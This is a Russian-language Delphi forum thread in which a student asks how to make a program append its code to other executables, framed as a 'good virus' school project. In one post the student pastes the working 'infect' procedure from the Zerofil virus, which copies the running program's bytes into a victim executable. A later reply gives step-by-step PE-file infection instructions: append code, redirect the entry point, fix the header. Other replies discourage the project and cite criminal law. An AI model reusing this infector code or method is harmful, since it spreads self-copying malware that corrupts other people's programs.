Форум по Delphi программированию

Delphi Sources



Вернуться   Форум по Delphi программированию > Все о Delphi > [ "Начинающим" ]
Ник
Пароль
Регистрация <<         Правила форума         >> FAQ Пользователи Календарь Поиск Сообщения за сегодня Все разделы прочитаны

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
  #1  
Старый 08.05.2011, 19:36
link993 link993 вне форума
Прохожий
 
Регистрация: 08.05.2011
Сообщения: 36
Репутация: 10
Восклицание Люди пишу не вирус)) объяснения в теме... Отзовитесь... Очень надо...

Обратился к Вам с надеждой....

Делаю проект по информатике и возник такой вопрос... Вот на пример у меня есть программа project1.exe, она лежит в каталоге С:\project и при каждом запуске этой программы в том же каталоге создается файл log.txt))) В него добавляется строчка "Программа работала (например)", с этим я справился но мне надо сделать так чтоб при запуске project1.exe код этой программы ( project1.exe) добавлялся к коду других приложений в этой папке ( project2.exe, project3.exe , project4.exe) , а именно чтоб они теперь тоже создавали свой отчет (после запуска project1.exe) в log.txt... Внимание!! Данная программа будет очень похожа на вирус, но честно я не буду использовать ее в плохих целях, это мой проект по информатике (с игрой у меня не получилось я решил сделать это))) Прошу отнеситесь с пониманием))) Дайте пжл простейший исходничек...
P.s Программы project2.exe, project3.exe , project4.exe после повторного запуска свой код к другим программам должны не добавлять.... Это не вирус...
Спасибо...
Ответить с цитированием
  #2  
Старый 08.05.2011, 20:20
kerneldos kerneldos вне форума
Прохожий
 
Регистрация: 08.05.2011
Сообщения: 1
Репутация: 10
По умолчанию Можно проще

в обработке создания формы project2(3,4) пытаешься найти окно poject1, если удачно - добавляешь строку в log.

Код Project1:
(Свойсво Caption формы измени на Project1)

Код:
procedure TForm1.FormCreate(Sender: TObject);
var
 logFile:TextFile;
begin
  AssignFile(logfile,'log.txt');
  if not(FileExists('log.txt')) then ReWrite(logfile)
  else Append(logfile);
  writeln(logFile,'Project1 запущен. ',TimeToStr(Time));
  CloseFile(logFile);
end;

Код Project2:

Код:
procedure TForm1.FormCreate(Sender: TObject);
var
 logFile:TextFile;
begin
  if FindWindow(nil,'Project1')<>0 then begin
    AssignFile(logfile,'log.txt');
    if not(FileExists('log.txt')) then ReWrite(logfile)
    else Append(logfile);
    writeln(logFile,'Project2 запущен. ',TimeToStr(Time));
    CloseFile(logFile);
  end;
end;

Последний раз редактировалось kerneldos, 08.05.2011 в 21:01.
Ответить с цитированием
  #3  
Старый 08.05.2011, 21:10
ChinYan ChinYan вне форума
Тыкаю клавиши
 
Регистрация: 13.07.2009
Сообщения: 804
Версия Delphi:
Репутация: 48633
Плохо

Цитата:
Делаю проект по информатике и возник такой вопрос
Часом не в MIT учитесь, не?
Судя по описанию - именно вирус. Хотим затмить разрабов Sality?
А если серьёзно - то это маловероятно что получится - за изменение чужих экзешников нужно браться когда хоть что-то умеешь, когда PE для тебя не просто буквы латинского алфавита. Замечу, что игру было бы проще сделать, чем это. Так же несовсем понятно назначение такого приложения, если предположить его невреденосную суть.

Цитата:
Дайте пжл простейший исходничек
В данном случае даже простой исходник не получится, не говоря уже о "простейшем исходничке" - придется неслабо модифицировать секцию кода, а потом и заголовок. Я вижу только способ что-то делать сразу при запуске зараженного приложения - дописываем свой код, правим точку входа так, чтоб сначала стартовал новый код, а потом он вызывал бы основной код программы.
После всех этих действий, любой антивирь, если конечно его у его разрабов руки и голова растут из правильного места прибьёт твою программу сразу же, а некоторые попродвинутей, вроде Каспера Веба или Симантика, так и запустится не дадут

Лучше напиши что-нибудь более приемлемое - блокнот, браузер или тестилку...
Ответить с цитированием
  #4  
Старый 08.05.2011, 21:39
Аватар для AND_REY
AND_REY AND_REY вне форума
Активный
 
Регистрация: 31.03.2009
Адрес: Украина, г.Днепропетровск
Сообщения: 324
Версия Delphi: Delphi7
Репутация: 3877
По умолчанию

Не проще сделать прогу которая будет "сидеть" в памяти и следить за всеми процесами в системе. При запуске или завершении какойто ехешки записывать в текстовик: прога такаято - запустилась в хх:хх и т.д. Это проще чем дописыватся к др. прогам.
__________________
If end Then begin;
Ответить с цитированием
  #5  
Старый 08.05.2011, 21:45
Аватар для Bargest
Bargest Bargest вне форума
Профессионал
 
Регистрация: 19.10.2010
Адрес: Москва
Сообщения: 2,390
Версия Delphi: XE3/VS12/FASM
Репутация: 14665
По умолчанию

Делаем прогу. В ней есть список названий программ. (Project1.exe, Project2.exe, ... , ProjectN.exe). В цикле делаем EnumProcesses, получаем название EXE файла, сравниваем со списком и пишем его в лог если надо.
__________________
jmp $ ; Happy End!
The Cake Is A Lie.
Ответить с цитированием
  #6  
Старый 08.05.2011, 21:46
Аватар для M.A.D.M.A.N.
M.A.D.M.A.N. M.A.D.M.A.N. вне форума
Sir Richard Abramson
 
Регистрация: 05.04.2008
Сообщения: 5,505
Версия Delphi: XE10
Репутация: выкл
По умолчанию

Цитата:
Дайте пжл простейший исходничек
Поразбирайся с EXEFog.
4D3 36C 346 676 6B3 62B 346 737 2B6 A34 356 649 673 765 586 936 504 47A 385 345 3D
__________________
— Как тебя понимать?
— Понимать меня не обязательно. Обязательно меня любить и кормить вовремя.


На Delphi, увы, больше не программирую.
Рекомендуемая литература по программированию
Ответить с цитированием
  #7  
Старый 08.05.2011, 22:59
link993 link993 вне форума
Прохожий
 
Регистрация: 08.05.2011
Сообщения: 36
Репутация: 10
Восклицание

Спасибо всем большое, кстати мой проект называется 'Вирус - это программа, а значит она может быть хорошей...' Насчет моей идеи задумался, вроде и тема интересная, но в тоже время сложная))) Решил взять с исходника нашего старого друга вируса "Zerofil" процедуру заражения а именно (прошу не копировать и не компилировать):

Код:
procedure infect(victim:string);
var
a:integer;

Buf: array[1..virsize] of byte;  //массив от 1 до веса вируса
nr,nw:longint; //переменная типа Целое число, размер которого 32 бита
begin
try     // отключаем ошибки
randomize; //  Устанавливает генератор случайного числа на следующее значение
assignfile(f1,victim); //   Открываем файл F1 на перезапись, в данном случае вроде .exe
a:=random(200);        // енерирует случайное целое число или число с плавающей запятой от 0 до 200
rename(f1,'bad'+inttostr(a)) ;     // Переименовка файла на момент заражения с таким форматом bad+число от 0 до 200
filemode :=0;               // Определяет, как Reset будет открывать двоичный файл для перезаписи
assignfile(f2,paramstr(0));  // Открываем файл F2 на перезапись (Возвращается один из параметров используемых для запуска текущей программы )
reset(f2,1) ;                //  Открываем файл F2 для чтения, или двоичный файл для чтения/записи
seek(f2,0);                     // для чтения, или двоичный файл для чтения/записи
blockread(f2,buf,virsize);       // 	Перемещает указатель в двоичном файле в новую позицию
filemode:=2 ;            //   // Определяет, как Reset будет открывать двоичный файл для перезаписи
closefile(f2);         //    Закрывает  файл F2
assignfile(f1,victim);       //    Открываем файл F1 на перезапись, в данном случае вроде .exe
rewrite(f1,1);                // Открывает F1 для записи
blockwrite(f1,buf,virsize);   // Заражает вроде
assignfile(f2,'bad'+inttostr(a)); // Открываем файл F2 со случайным именем на перезапись
reset(f2,1);  // Открываем файл F2 для чтения, или двоичный файл для чтения/записи
seek(f2,0);     //  // для чтения, или двоичный файл для чтения/записи
repeat          //цикл
BlockRead(f2, Buf,virsize, NR);     //
BlockWrite(f1, Buf, NR, NW);      //
until (NR = 0) or (NW <> NR);     //
closefile(f1);           //
closefile(f2);       //
deletefile(pchar('bad'+inttostr(a)))        //
except    //
end;     //
end;

P.s комментарии к коду не мои)) Вижу, что тут полный бред написан)))


Возникла такая идея, если считывать в буфер "Buf: array[1..virsize] of byte;" не virsize вируса, а "virsize" программы project1.exe и уже этой программой "инфицировать " Project,ы.exe.. Как думаете получится, или я совсем бред несу?? ЗАранее спасибо...

Последний раз редактировалось lmikle, 08.05.2011 в 23:13.
Ответить с цитированием
  #8  
Старый 08.05.2011, 23:01
Аватар для M.A.D.M.A.N.
M.A.D.M.A.N. M.A.D.M.A.N. вне форума
Sir Richard Abramson
 
Регистрация: 05.04.2008
Сообщения: 5,505
Версия Delphi: XE10
Репутация: выкл
По умолчанию

Я б инжект дэлэлки сделал бы. И файлы менять не надо и т.д.
__________________
— Как тебя понимать?
— Понимать меня не обязательно. Обязательно меня любить и кормить вовремя.


На Delphi, увы, больше не программирую.
Рекомендуемая литература по программированию
Ответить с цитированием
  #9  
Старый 09.05.2011, 00:54
Raskolnikov Raskolnikov вне форума
Прохожий
 
Регистрация: 20.04.2011
Адрес: Киров
Сообщения: 35
Версия Delphi: 7 Enterprise
Репутация: 148
По умолчанию

Цитата:
это мой проект по информатике (с игрой у меня не получилось я решил сделать это)))
Странный, мягко говоря, проект, лучше бы тетрис написал. В инете можно полно исходников найти, скачал, разобрался с кодом ну и немного доработал напильником. Вот и готовый проект.
Ответить с цитированием
  #10  
Старый 09.05.2011, 11:11
link993 link993 вне форума
Прохожий
 
Регистрация: 08.05.2011
Сообщения: 36
Репутация: 10
Восклицание

Люди я бы сделал отслеживание программ, но тема моего проекта заключается в другом 'Вирус - это программа, а значит она может быть хорошей...', то есть мне не надо никаких перехватов, ни отслеживаний, мне нужна программа "Хороший вирус (грубо говоря)"... Суть проекта - программа (полезная), добавляет свой код к другим программам, из за этого они могут выполнять полезные функции (создавать отчет на пример и т.д.)... Я взял эту тему (кстати мне такую тему изначально препод дал), потому-что люди с негативом относятся ко всяким вирусам, червям и т.д. Я хочу показать "Человечеству ", что вирус может быть полезным...
P.s взялся за работу, но проблема возникла. Там нужно с памятью мудрить, чтоб записать только полезную часть.. Думаю как это сделать, можете поделиться своими предложениями. Тему подходить и менять как то неудобно, один раз уже менял, так что придется работать на этой...
Ответить с цитированием
  #11  
Старый 09.05.2011, 13:08
link993 link993 вне форума
Прохожий
 
Регистрация: 08.05.2011
Сообщения: 36
Репутация: 10
Восклицание

Думал я насчет процедуры добавления своего кода к другой программе и составил алгоритм. Я в этом деле новичок, так что не судите строго (может я вообще не так делаю. Вот алгоритм:
1. Ищем Project2.exe и переименовываем (меняем расширение) его в Project2.txt (для добавления к нему в дальнейшем кода программы.
2. Наш Project1.exe тоже переименовываем (меняем расширение) Project1.txt
3. Открываем Project1.txt и копируем его код (машинный) в текстовом формате.
4. Дозаписываем Project1.txt к Project2.txt.
5. Переименовываем Project1.txt и Project2.txt в Project1.exe и Project2.exe.
6. Завершаем работу с файлами.

P.s это еще сырой вариант. Скажите я правильно мыслю?
Ответить с цитированием
  #12  
Старый 09.05.2011, 14:14
ChinYan ChinYan вне форума
Тыкаю клавиши
 
Регистрация: 13.07.2009
Сообщения: 804
Версия Delphi:
Репутация: 48633
По умолчанию

Цитата:
Думал я насчет процедуры добавления своего кода к другой программе и составил алгоритм. Я в этом деле новичок, так что не судите строго (может я вообще не так делаю. Вот алгоритм:
1. Ищем Project2.exe и переименовываем (меняем расширение) его в Project2.txt (для добавления к нему в дальнейшем кода программы.
2. Наш Project1.exe тоже переименовываем (меняем расширение) Project1.txt
3. Открываем Project1.txt и копируем его код (машинный) в текстовом формате.
4. Дозаписываем Project1.txt к Project2.txt.
5. Переименовываем Project1.txt и Project2.txt в Project1.exe и Project2.exe.
6. Завершаем работу с файлами.

P.s это еще сырой вариант. Скажите я правильно мыслю?

Нет. После таких "махинаций" ничего работать не будет. По нескольким причинам.
Первая, она же самая проста - при открытии блокнотом exe файла мы никогда не получим текстовое представление его кода - в коде могут встретится символы 00h, которые блокнот проигнорирует, но без них файл не запустится.
Что бы получить этот файл, его нужно считывать побайтно.

Единственный способ что-то изменить в чужом файле (в данном случае я подразумеваю, что инфицируемые программы написаны другим человеком.) так, чтоб оно работало это:
1) Открыть заражаемый файл побайтно
2)Найти секцию кода и дописать в конец её свой код, попутно получив адрес точки входа и сделав переход после добавленного кода на точку входа исходного кода.
3) Если антивирус ещё не прибил программу (хотя, за такие выкрутасы просто обязан) продожаем измываться над файлом
4)В РЕ заголовке изменить размер секции кода на новый (иначе загрузчик сочтет файл некоректным)
5)В том же заголовке правим точку входа на начало вставленного кода.
6) закрываем файл.

Однако, более менее защищенный файл таким макаром пропатчить не удастся - он может быть пожат, покриптован, при запуске у него может проверяться контрольная сумма, подделать которую не удастся она на то и придумана, что бы целостность файла контролировать
Так что остается только одно - пойти и вернуться обратно на игру - благо исходников игр на Делфи полно - тот же Квейк.
Гдеж ты учишься, что такие задания дают? MIT? Стенфорд?

Цитата:
"Вирус - это программа, а значит она может быть хорошей "
Вирус Чумы тоже был хорошим, пока пол-Европы не умерло.
Как хорошей может быть программа, которая написана для причинения вреда?
Для общего развития рекомендую ознакомится со статьями 273 и 272 УК РФ
Ответить с цитированием
  #13  
Старый 09.05.2011, 15:06
link993 link993 вне форума
Прохожий
 
Регистрация: 08.05.2011
Сообщения: 36
Репутация: 10
Восклицание

ChinYan, понял)))) возвращаюсь к игре...
Ответить с цитированием
Ответ


Delphi Sources

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра
Комбинированный вид Комбинированный вид

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB-коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход


Часовой пояс GMT +3, время: 19:54.


 

Сайт

Форум

FAQ

RSS лента

Прочее

 

Copyright © Форум "Delphi Sources" by BrokenByte Software, 2004-2023

ВКонтакте   Facebook   Twitter